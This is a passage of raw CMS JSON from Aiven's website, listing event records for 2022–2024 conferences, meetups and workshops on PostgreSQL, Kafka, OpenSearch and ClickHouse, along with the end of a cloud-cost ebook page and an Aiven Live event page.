"},{"_key":"2488cb3c5c05","_type":"span","marks":["6f49fe20b526"],"text":"Take a look at some situations we see frequently"},{"_key":"0a628a10b651","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6f49fe20b526","_type":"internalLink","internalLink":{"_ref":"000de593-35b7-4375-b2d9-400d7b9a043e","_type":"reference"}}],"style":"normal"},{"_key":"fe72bf828d9c","_type":"block","children":[{"_key":"e33f9dac49ea","_type":"span","marks":[],"text":"And if you have more questions around Aiven services, how they can fit in your tech stack and get your transformation underway, why not book a demo with our friendly team?"}],"markDefs":[],"style":"normal"}],"title":"Thanks for your interest!","variant":"oneColumn"}],"title":"7 ways to optimize your cloud infrastructure costs"},"publishedAt":"2023-09-11T15:15:23.181Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"a2426476-f52d-418a-8200-1c77914ddc8d","_type":"reference"},"tags":[{"_key":"7a949bc709e3","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"d69f076c69ab","_ref":"7f1cc870-dac8-4021-b5e0-0067d7aa5d95","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Download the \"7 Ways to Optimize Your Cloud Infrastructure Costs\" guide to learn how you can start ensuring optimal usage of your cloud resources.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1391ddb8627f701ae9b01d788dbdda840ae3202c-1200x630-jpg","_type":"reference"}},"metaTitle":"7 Ways to Optimize Cloud Infrastructure Costs"},"slug":{"_type":"slug","current":"/ebook/7-ways-to-optimize-your-cloud-infrastructure-costs"}} {"__i18n_lang":"en","_createdAt":"2023-08-29T08:39:44Z","_id":"c05b5907-2e17-4558-a451-c0cc9d13882e","_rev":"n4o7HM4ybKf4O57IbWEHz3","_type":"event","_updatedAt":"2023-08-29T08:58:01Z","country":"DE","description":[{"_key":"e5fd0d5e9593","_type":"block","children":[{"_key":"cc27768ac478","_type":"span","marks":[],"text":"Join Francesco for his session \"Solving the Knapsack Problem with Recursive Queries and PostgreSQL\"."}],"markDefs":[],"style":"normal"}],"endDate":"2022-06-14T15:00:00.000Z","location":"Berlin","region":"EMEA","startDate":"2022-06-12T07:00:00.000Z","talks":[{"_key":"0576f82b08e5","_type":"talk","description":[{"_key":"74fb4da63906","_type":"block","children":[{"_key":"e3297e8a69fa0","_type":"span","marks":[],"text":"If you're into PostgreSQL and eager to understand how recursion works, this session is for you!"}],"markDefs":[],"style":"normal"},{"_key":"d861290097a0","_type":"block","children":[{"_key":"b97bbffc4129","_type":"span","marks":[],"text":"- "},{"_key":"6ad262e8ea78","_type":"span","marks":["49a4bf7c3ad9"],"text":"Slides"}],"markDefs":[{"_key":"49a4bf7c3ad9","_type":"link","href":"https://ftisiot.net/talks/knapsack-problem-pg/"}],"style":"normal"},{"_key":"7bcd367a40bd","_type":"block","children":[{"_key":"3a28f396c9df","_type":"span","marks":[],"text":"- "},{"_key":"31c875e2db63","_type":"span","marks":["5a87d38e0728"],"text":"Recording"}],"markDefs":[{"_key":"5a87d38e0728","_type":"link","href":"https://www.youtube.com/watch?v=njvH3I39Dv0"}],"style":"normal"}],"speakers":[{"_key":"fbd55ed20cb9","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Solving the Knapsack Problem with Recursive Queries and PostgreSQL"}],"title":"Berlin Buzzwords 2022","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-07-24T09:48:59Z","_id":"6d9c25a4-7891-4159-93ee-667143813b67","_rev":"Q21J3pgWoUWkhUhtSrG4nJ","_type":"event","_updatedAt":"2023-07-24T09:48:59Z","country":"US","description":[{"_key":"c73446a911ed","_type":"block","children":[{"_key":"7d702c27d08e","_type":"span","marks":[],"text":"Join Jonah Kowall, VP Product Management at Aiven, at OpenSearchCon, for his session \"18 months of operating OpenSearch at scale\". "}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-29T15:00:00.000Z","location":"Seattle","primaryCTA":{"_type":"link","externalUrl":"https://opensearchcon2023.splashthat.com/","title":"Attend"},"region":"AMER","startDate":"2023-09-27T07:00:00.000Z","title":"OpenSearchCon 2023","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-09-18T10:22:00Z","_id":"b47eb8af-66d1-435d-9f6d-f458da03736d","_rev":"a4XEptz0xD4dYAWJ07nZkB","_type":"event","_updatedAt":"2023-09-18T10:22:00Z","contentIsPage":false,"country":"NL","description":[{"_key":"19efdd1fcc3e","_type":"block","children":[{"_key":"a67571f949c7","_type":"span","marks":[],"text":"At Sourcing Summit Europe? Join Ludmila Tomperi for her talk \"Growing Open Source team, or one OS sourcing journey outside of GitHub\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-12T15:00:00.000Z","linkTitle":"Register","location":"Amsterdam","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://sourcingsummit.net/","title":"Attend"},"region":"EMEA","startDate":"2023-10-11T07:00:00.000Z","title":"Sourcing Summit","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-03-17T08:28:22Z","_id":"40e82a3d-535e-4ee2-af75-a09a7b4de94f","_rev":"RksXZeZKLvjmDTh00wyllf","_type":"event","_updatedAt":"2023-03-17T08:34:15Z","country":"AU","description":[{"_key":"6529c54203c8","_type":"block","children":[{"_key":"2032ee0ba86b0","_type":"span","marks":[],"text":"Michael Walmsley, AWS Solution Architect at Accenture, and Troy Sellers, Solution Architect at Aiven, at the Sydney Open Source Data Infrastructure meetup, talk about Serverless observability and ClickHouse, respectively."}],"markDefs":[],"style":"normal"}],"endDate":"2023-04-03T19:00:00.000Z","location":"Sydney","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/sydney-open-source-data-infrastructure-meetup/events/292129822/","title":"Register"},"region":"APAC","startDate":"2023-04-03T16:00:00.000Z","title":"Sydney OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-03-22T13:11:29Z","_id":"323f8190-082d-4c26-8031-4e2daa966ac4","_rev":"dbnYPrvSKGV9AwPMvyp5Fu","_type":"event","_updatedAt":"2023-03-22T13:11:29Z","country":"AU","description":[{"_key":"0d9343658b15","_type":"block","children":[{"_key":"5810cee4c550","_type":"span","marks":[],"text":"Join Matty Stratton, our Director of Developer Relations, in Melbourne for his talk \"Zero trust is for networks, not your teams\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-04-06T15:00:00.000Z","location":"Melbourne","primaryCTA":{"_type":"link","externalUrl":"https://devops.talksplus.com/","title":"Register"},"region":"APAC","startDate":"2023-04-05T07:00:00.000Z","title":"DevOps Talks","type":"conference","virtualEvent":false} {"__i18n_lang":"en","_createdAt":"2023-01-04T11:35:11Z","_id":"b7833939-2a89-4f29-9017-0a3f2939879a","_rev":"gPeuwwT4w78NfMbaxsvQC1","_type":"event","_updatedAt":"2023-02-21T13:02:36Z","description":[{"_key":"2edec51e7fd0","_type":"block","children":[{"_key":"980592c610ee0","_type":"span","marks":[],"text":"Get some tips for maintaining Open Search® clusters in production in our livestream. "}],"markDefs":[],"style":"normal"}],"endDate":"2023-01-17T17:00:00.000Z","location":"Online ","primaryCTA":{"_type":"link","caption":"Get notified when we're live","externalUrl":"https://www.youtube.com/watch?v=Ek20H1t_moM","title":"Watch the recording"},"startDate":"2023-01-17T16:00:00.000Z","title":"OpenSearch Fireside Chat with Big Data Boutique","type":"livestream","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-01-04T11:37:27Z","_id":"58f3f6c9-a748-487e-a5ae-dfe9a5404b33","_rev":"RC5pgePlmGi6uvVNnKtj9G","_type":"event","_updatedAt":"2023-02-21T13:03:04Z","country":"US","description":[{"_key":"f7a986921521","_type":"block","children":[{"_key":"a3d62a7f8bf4","_type":"span","marks":[],"text":"Learn how OpenSearch® works and get equipped with practical knowledge to search, aggregate and visualise your data.\n"}],"markDefs":[],"style":"normal"}],"endDate":"2023-01-19T22:00:00.000Z","location":"Round Rock, Texas","primaryCTA":{"_type":"link","caption":"Check out Olena's talk and join the conference on January 15-19","externalUrl":"https://that.us/activities/Ai0UTNaosUiUnRYPH529","title":"See the talk"},"region":"AMER","startDate":"2023-01-15T00:00:00.000Z","title":"THAT Conference 2023 Texas","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-02-17T09:51:46Z","_id":"f06e394e-0621-4173-9867-aa7752b0e6d1","_rev":"gPeuwwT4w78NfMbaxsuk4o","_type":"event","_updatedAt":"2023-02-21T13:00:40Z","country":"SE","description":[{"_key":"732647c191a4","_type":"block","children":[{"_key":"6843802e74470","_type":"span","marks":[],"text":"Nordic PGDay is an excellent chance to learn more about the worlds most advanced open source database. Plus: our own Francesco Tisiot will talk about \"Put PostgreSQL at the center of your (meta)data universe!\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-03-21T17:00:00.000Z","location":"Stockholm","primaryCTA":{"_type":"link","externalUrl":"https://2023.nordicpgday.org/","title":"Register"},"region":"EMEA","startDate":"2023-03-21T08:00:00.000Z","title":"Nordic PGDay 2023","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-01-10T14:37:48Z","_id":"4499e510-6ada-491a-b94f-6760bb026c0a","_rev":"pxdTVqM9Iazv4GeKSq2p0k","_type":"event","_updatedAt":"2023-02-21T13:01:41Z","country":"NL","description":[{"_key":"1729596764b3","_type":"block","children":[{"_key":"2b7beca32b010","_type":"span","marks":[],"text":"Enjoy two days of Kubernetes and Cloud Native, technical talks, workshops, events, and fun! Join Floor Drees' talk on sustainable open source while you're there! "}],"markDefs":[],"style":"normal"}],"endDate":"2023-02-24T16:00:00.000Z","location":"Amsterdam","primaryCTA":{"_type":"link","externalUrl":"https://community.cncf.io/events/details/cncf-kcd-netherlands-presents-kubernetes-community-days-amsterdam-2023/","title":"Join"},"region":"EMEA","startDate":"2023-02-23T08:00:00.000Z","title":"Kubernetes Community Days","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-02-17T10:46:25Z","_id":"577db0ff-65f6-4a97-bbcc-29e37a8614a8","_rev":"wQDUBFZXucgcNowEoX2Gz3","_type":"event","_updatedAt":"2023-02-23T07:32:21Z","country":"AU","description":[{"_key":"0df044b29183","_type":"block","children":[{"_key":"bba8ad9b8801","_type":"span","marks":[],"text":"Join Aiven Staff Solution Architect Troy Sellers, for their talk at Everything Open, down under."}],"markDefs":[],"style":"normal"}],"endDate":"2023-03-16T17:00:00.000Z","location":"Melbourne","primaryCTA":{"_type":"link","externalUrl":"https://2023.everythingopen.au/","title":"Register"},"region":"APAC","startDate":"2023-03-14T08:00:00.000Z","title":"Everything Open","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-06-15T12:35:35Z","_id":"dd796f91-2689-4c18-b7a2-80d099b7e098","_rev":"tW7kMBSHIbCIaN9dzYaVmc","_type":"event","_updatedAt":"2023-06-15T12:35:35Z","country":"FR","description":[{"_key":"ee6ec40d352a","_type":"block","children":[{"_key":"0f8670f8139c","_type":"span","marks":[],"text":"Ahmed Sobeh, Open Source Engineering Manager at Aiven's Open Source Program Office, will talk about how \"Your OSPO is not only yours: Working on 3rd-Party OSS\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-22T15:00:00.000Z","location":"Paris","primaryCTA":{"_type":"link","externalUrl":"https://devxproductmanagementsummit.sched.com/","title":"Sign up"},"region":"EMEA","startDate":"2023-06-20T07:00:00.000Z","title":"Data x Dev x Product Management Summit","type":"event","virtualEvent":false} {"__i18n_lang":"en","_createdAt":"2023-05-16T11:20:50Z","_id":"88859d29-be47-4c9f-9ffb-ce6b1fd52d47","_rev":"7zkUzK17nyKradHQJJZ6y6","_type":"event","_updatedAt":"2023-05-16T11:20:50Z","country":"FI","description":[{"_key":"4dc5144242a3","_type":"block","children":[{"_key":"c86efcf11214","_type":"span","marks":[],"text":"Join the June Open Source Data Infrastructure meetup, in Helsinki, for talks by Wärtsilä, PingCAP, and Bolt. And networking! That too!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-08T19:00:00.000Z","location":"Helsinki","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/helsinki-open-source-data-infrastructure-meetup/events/293486508/","title":"RSVP"},"region":"EMEA","startDate":"2023-06-08T16:00:00.000Z","title":"OSDI Helsinki","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-06-06T18:54:25Z","_id":"975a7f71-1803-40dc-a914-3b92e310f921","_rev":"rV9BZDYEBgQp95tIySU7fh","_type":"event","_updatedAt":"2023-06-06T18:54:25Z","country":"IT","description":[{"_key":"7965b3c534fe","_type":"block","children":[{"_key":"9ff7d4bd30f80","_type":"span","marks":[],"text":"Join the June 21 Milan Open Source Data Infrastructure meetup at Talent Garden Calabiana for talks around GitOps \u0026 Kafka, and scaling ML pipelines."}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-21T19:00:00.000Z","location":"Milan","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/milano-open-source-data-infrastructure-meetup/events/293907812","title":"Join"},"region":"EMEA","startDate":"2023-06-21T16:00:00.000Z","title":"OSDI Milan","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-06-14T13:22:30Z","_id":"072fd7b8-1b4e-4f16-8b60-4bfb3e012138","_rev":"LlMsTfwmVHcho3tE155B7j","_type":"event","_updatedAt":"2023-06-14T13:23:18Z","country":"US","description":[{"_key":"3f0a4517d059","_type":"block","children":[{"_key":"9c35da6dc9d50","_type":"span","marks":[],"text":"Aiven is sponsoring the AWS Summit in NYC! Stop by booth #835 to learn about Aiven's open-source services, its partnership with AWS, and how we can help you reduce your cloud costs."}],"markDefs":[],"style":"normal"}],"endDate":"2023-07-26T22:00:00.000Z","location":"Javits Center, NYC","primaryCTA":{"_type":"link","externalUrl":"https://landing.aiven.io/event/meet-aiven-at-aws-nyc-23/","title":"Meet Aiven at Booth 835"},"region":"AMER","startDate":"2023-07-26T12:00:00.000Z","tags":[{"_key":"010179601d98","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"}],"title":"AWS Summit NYC","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-11-10T12:23:45Z","_id":"e4fd32e2-b1ac-46d7-92a8-63afc73d18d0","_rev":"00HkATqwml6aoQnrNyCR4r","_type":"event","_updatedAt":"2023-11-17T10:29:37Z","contentIsPage":false,"country":"FR","description":[{"_key":"21ab0a62abf2","_type":"block","children":[{"_key":"fdbe7f1d7d69","_type":"span","marks":[],"text":"Join our Open Source Data Infrastructure meetup, with talks on OpenMetadata by Teddy Crépineau, Founding Software Engineer at Collate, and on Apache Pulsar, by Julien Jakubowski, Developer Advocate at StreamNative."}],"markDefs":[],"style":"normal"}],"endDate":"2023-12-06T20:30:00.000Z","linkTitle":"Register","location":"Paris","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/paris-open-source-data-infrastructure-meetup/events/297275533/","title":"RSVP"},"region":"EMEA","startDate":"2023-12-06T17:30:00.000Z","title":"Paris OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-10-13T08:58:41Z","_id":"d12c1584-4b4d-4e14-b666-647b94df0057","_rev":"sg5cBJWkRHo7pkcz4GTMUR","_type":"event","_updatedAt":"2023-12-14T11:25:50Z","contentIsPage":false,"description":[{"_key":"5523813bd8df","_type":"block","children":[{"_key":"d28e4532f89f0","_type":"span","marks":[],"text":"In this hands-on workshop, you'll learn how to connect your Spring Boot application to MySQL using the well-known ORM tool Hibernate."}],"markDefs":[],"style":"normal"}],"endDate":"2024-01-24T18:00:00.000Z","image":{"_type":"mainImage","asset":{"_ref":"image-389e83f96d1705a685fae6504969e090e6b04abd-6000x3375-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","internalLink":{"_ref":"1fbb85f3-26f2-414d-a0b9-c364984a92b9","_type":"reference"},"title":"Secure your seat"},"startDate":"2024-01-24T17:00:00.000Z","title":"Data Persistence 101: Spring Boot and MySQL Edition","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-04-13T07:17:54Z","_id":"4484da09-221c-416d-aa06-7ad2f38bf374","_rev":"LlMsTfwmVHcho3tE1FSvUx","_type":"event","_updatedAt":"2023-06-15T12:38:41Z","country":"NL","description":[{"_key":"025f9172887c","_type":"block","children":[{"_key":"db23a8899186","_type":"span","marks":[],"text":"Aiven's Olena Kutsenko, and ClickHouse CTO Alexey Milovidov will join for the May 30 Open Source Data Infrastructure meetup in Amsterdam."}],"markDefs":[],"style":"normal"}],"endDate":"2023-05-30T19:00:00.000Z","location":"Amsterdam","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/nl-NL/amsterdam-open-source-data-infrastructure-meetup/events/292824550/","title":"Attend"},"region":"EMEA","startDate":"2023-05-30T16:00:00.000Z","tags":[{"_key":"fbc80c6c336d","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"}],"talks":[{"_key":"29ce2ecfddbe","_type":"talk","description":[{"_key":"d4efd537ae1b","_type":"block","children":[{"_key":"c22d6a12d400","_type":"span","marks":[],"text":"Talk about ClickHouse."}],"markDefs":[{"_key":"a9e1072e8d41","_type":"link","href":"https://drive.google.com/file/d/1okmERy0MiPgbOlYIRqVIRcY4d42qtEKc/view?usp=sharing"}],"style":"normal"},{"_key":"72d68dc12049","_type":"block","children":[{"_key":"c52a37ad52df","_type":"span","marks":["a9e1072e8d41"],"text":"Link to slides"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a9e1072e8d41","_type":"link","href":"https://drive.google.com/file/d/1okmERy0MiPgbOlYIRqVIRcY4d42qtEKc/view?usp=sharing"}],"style":"normal"}],"speakers":[{"_key":"64c59841195d","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"What is behind the fastest columnar database"}],"title":"OSDI Amsterdam","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-02-17T09:44:34Z","_id":"5b8e74dc-53f4-4080-aa45-a1aa5ee04b8b","_rev":"pv5QzE4Lm79BNhDrjkNwbN","_type":"event","_updatedAt":"2023-08-29T13:33:28Z","country":"DE","description":[{"_key":"8d0d15f5c7fb","_type":"block","children":[{"_key":"fbe88fe11bbb0","_type":"span","marks":[],"text":"Meet Ahmed Sobeh, Claude Warren Jr, Josep Prat, Floor Drees, and many more Aiveners at this event on Free and Open Source Software. Live in Berlin \u0026 Online."}],"markDefs":[],"style":"normal"}],"endDate":"2023-03-14T17:00:00.000Z","location":"Berlin","primaryCTA":{"_type":"link","externalUrl":"https://23.foss-backstage.de/","title":"Join"},"region":"EMEA","startDate":"2023-03-13T08:00:00.000Z","talks":[{"_key":"10e523a21535","_type":"talk","description":[{"_key":"f6f4b020025c","_type":"block","children":[{"_key":"84707379d229","_type":"span","marks":[],"text":"The "},{"_key":"9ebc9003a322","_type":"span","marks":["4a5c0e13ecd9"],"text":"recording of Floor's talk"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4a5c0e13ecd9","_type":"link","href":"https://www.youtube.com/watch?v=7ugOwbZuGoE\u0026list=PLq-odUc2x7i9Zrs4oyM1I3V5xlYICEL2g\u0026index=25\u0026t=8s\u0026pp=iAQB"}],"style":"normal"},{"_key":"d8bd76bbf819","_type":"block","children":[{"_key":"acf01cd7b700","_type":"span","marks":["95c0fa68b3b4"],"text":"Notes"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"95c0fa68b3b4","_type":"link","href":"https://dev.to/floord/build-license-management-into-your-pipelines-6bg"}],"style":"normal"},{"_key":"2cff7fdc9e04","_type":"block","children":[{"_key":"ac2ae9c112c3","_type":"span","marks":[],"text":"Colleagues Josep Prat, Claude Warren, and Ahmed Sobeh all had talks too:"}],"markDefs":[],"style":"normal"},{"_key":"5772b42ddc29","_type":"block","children":[{"_key":"8264decd52e50","_type":"span","marks":[],"text":"Josep Prat – "},{"_key":"164aa658066c","_type":"span","marks":["a6a294effa75"],"text":"Sustainability beyond funds: Extrospective OSPOs"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a6a294effa75","_type":"link","href":"https://www.youtube.com/watch?v=gYIzeL2WxQA\u0026list=PLq-odUc2x7i9Zrs4oyM1I3V5xlYICEL2g\u0026index=5"}],"style":"normal"},{"_key":"26cb2a81d758","_type":"block","children":[{"_key":"89b3fcb1ccbd0","_type":"span","marks":[],"text":"Claude Warren, Jr – "},{"_key":"0727b33634a3","_type":"span","marks":["4eefde2f4853"],"text":"The Cathedral, the Bazaar, and the Coffee House"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4eefde2f4853","_type":"link","href":"https://www.youtube.com/watch?v=whnHYbQ0oZE\u0026list=PLq-odUc2x7i9Zrs4oyM1I3V5xlYICEL2g\u0026index=9"}],"style":"normal"},{"_key":"87662c825d21","_type":"block","children":[{"_key":"da47c9974ce30","_type":"span","marks":[],"text":"Ahmed Sobeh – "},{"_key":"c90ea332098a","_type":"span","marks":["66b8f526dce2"],"text":"The F in FOSS: Affording Open Source in Developing Countries"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"66b8f526dce2","_type":"link","href":"https://www.youtube.com/watch?v=iiyGc0L-Juc\u0026list=PLq-odUc2x7i9Zrs4oyM1I3V5xlYICEL2g\u0026index=3"}],"style":"normal"}],"speakers":[{"_key":"68090b51f13e","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"Build license management in your pipelines"}],"title":"FOSS Backstage","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-03-26T12:29:01Z","_id":"1036c38e-02a9-40dc-a2e1-df701bab134e","_rev":"LlMsTfwmVHcho3tE1FTktX","_type":"event","_updatedAt":"2023-06-15T12:39:56Z","country":"GB","description":[{"_key":"fa6ed6ca9781","_type":"block","children":[{"_key":"43253a02d7e6","_type":"span","marks":[],"text":"At Devoxx UK, Olena Kutsenko will talk about \"Using Apache Kafka and OpenSearch to explore Mastodon\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-05-12T15:00:00.000Z","location":"London","primaryCTA":{"_type":"link","externalUrl":"https://www.devoxx.co.uk/","title":"Join"},"region":"EMEA","startDate":"2023-05-10T07:00:00.000Z","talks":[{"_key":"a2da5d13864f","_type":"talk","description":[{"_key":"b3f0ec5f03aa","_type":"block","children":[{"_key":"fe7ec03aa6050","_type":"span","marks":[],"text":"This talk is for both beginners in Apache Kafka and intermediate users. It talks about bringing data from Mastodon to Kafka using TypeScript and a couple of helpful libraries."}],"markDefs":[],"style":"normal"},{"_key":"a51a935c3661","_type":"block","children":[{"_key":"5f5706622b69","_type":"span","marks":["245596ca1063"],"text":"Recording"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"245596ca1063","_type":"link","href":"https://youtu.be/B-X5LCwEIjw"}],"style":"normal"}],"speakers":[{"_key":"fea7bd6ba4d8","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Using Apache Kafka and OpenSearch to explore Mastodon"}],"title":"Devoxx UK","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-10-03T09:40:42Z","_id":"0a66ce6c-3820-4783-9a59-c8c88da68fbc","_rev":"dlMw6nEslYw9TNgH3hlxTT","_type":"event","_updatedAt":"2024-01-17T10:51:49Z","contentIsPage":true,"country":"GB","description":[{"_key":"36fc0a168046","_type":"block","children":[{"_key":"c3dd1d487c540","_type":"span","marks":[],"text":"Join us on December 12th for the first ever Aiven Live! Learn best practices from industry experts, network with your peers, and learn more about the world of Aiven. Can't wait to see you there."}],"markDefs":[],"style":"normal"},{"_key":"aadc9b0669d5","_type":"block","children":[{"_key":"fbe05002c0cc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"endDate":"2023-12-12T16:30:00.000Z","linkTitle":"Register Now!","location":"The Brewery, London","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"content":[{"_key":"761a1e8a7ddbdae1b56e567c25481d2c","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"numbers":[{"_key":"beb70f5dc0c8","_type":"numberItem","description":[{"_key":"a9586c580ccf","_type":"block","children":[{"_key":"08cdfeb528090","_type":"span","marks":[],"text":"attendees"}],"markDefs":[],"style":"normal"}],"number":"45"},{"_key":"16fe2539c44e9d00f883d31a0f5918fa","_type":"numberItem","description":[{"_key":"77bb4dbac941","_type":"block","children":[{"_key":"f3674b58bc1b0","_type":"span","marks":[],"text":"partners"}],"markDefs":[],"style":"normal"}],"number":"4"},{"_key":"f1a2a9ff2a77","_type":"numberItem","description":[{"_key":"824ad44c837b","_type":"block","children":[{"_key":"444ef91a68b80","_type":"span","marks":[],"text":"speakers"}],"markDefs":[],"style":"normal"}],"number":"14"},{"_key":"c1150fc3723b","_type":"numberItem","description":[{"_key":"ec35736ce929","_type":"block","children":[{"_key":"31fc9b7bb08b","_type":"span","marks":[],"text":"talks"}],"markDefs":[],"style":"normal"}],"number":"7"},{"_key":"8357abb0ece39d39c108fc8f4fd2e0ad","_type":"numberItem","description":[{"_key":"ec35736ce929","_type":"block","children":[{"_key":"31fc9b7bb08b","_type":"span","marks":[],"text":"mins of deep dives"}],"markDefs":[],"style":"normal"}],"number":"90"}],"roundedCorners":"rounded-none"},{"_key":"536998d1011cd98edc079841c9e68abb","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"fad6a1368fc2","_type":"block","children":[{"_key":"6d704543e9310","_type":"span","marks":[],"text":"Participants were captivated by revolutionary discussions on data cloud technologies, led by industry luminaries from GigaOm, Revenir, Dojo, Hookdeck, and beyond, sparking a wave of inspiration and innovative thinking. The event buzzed with vibrant networking opportunities, where attendees formed lasting connections with trailblazing professionals, paving the way for exciting future collaborations. Additionally, the deep-dive sessions into open source data infrastructure were a highlight, offering interactive and insightful exchanges with experts that profoundly enriched participants' mastery of the modern data landscape."}],"markDefs":[],"style":"normal"}],"title":"30 seconds flashback","variant":"mediaLeft","ytId":"GRC8RLW8PzA"},{"_key":"ff50b4feec2e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-45e49916868ee97cddd83edfb5abcaf9c0cecad5-1887x1887-png","_type":"reference"}},"imagePosition":"center","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"What is Aiven Live?","text":[{"_key":"7670f8408ee2","_type":"block","children":[{"_key":"162f59f5b49f0","_type":"span","marks":[],"text":"Aiven Live is our premier event series, designed to navigate the future of open source data platforms and their pivotal role in unlocking unprecedented business value. At Aiven, we champion collective expertise and strategic collaboration, key tenets that drive industry advancement. This series delves into Open Source Innovations in Data Infrastructure, illuminates Deployment Flexibility, underscores the infrastructure's role as the backbone of Generative AI, and offers insights into effective Cost Optimization."}],"markDefs":[],"style":"normal"},{"_key":"b30a4b44cce9","_type":"block","children":[{"_key":"d229e35de8c9","_type":"span","marks":[],"text":"\nAt Aiven, we believe in the power of shared knowledge and collective growth. Aiven Live events are meticulously designed to foster collaboration, ignite innovation, and bring together industry leaders and emerging talents."}],"markDefs":[],"style":"normal"},{"_key":"29d49731a953","_type":"block","children":[{"_key":"7dd53d767b160","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Aiven Live embodies our vision to inspire, engage and elevate","variant":"mediaLeft"},{"_key":"cb8eaf7064c6","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"10e51b0e87c2","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f6d8e5a4c451","_type":"block","children":[{"_key":"93c7c685b8910","_type":"span","marks":[],"text":"Listen to groundbreaking conversations around data cloud and meet industry experts from GigaOm, Revenir, Dojo, Hookdeck, and more!"}],"markDefs":[],"style":"normal"}],"title":"Get inspired and motivated"},{"_key":"a810c73002c96a1d37395bfd8295f862","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fe66aa762357","_type":"block","children":[{"_key":"b7936d5533fc0","_type":"span","marks":[],"text":"Mingle with like-minded professionals and industry pioneers, unlocking doors to future collaborations and broadening your professional horizon."}],"markDefs":[],"style":"normal"}],"title":"Network and build 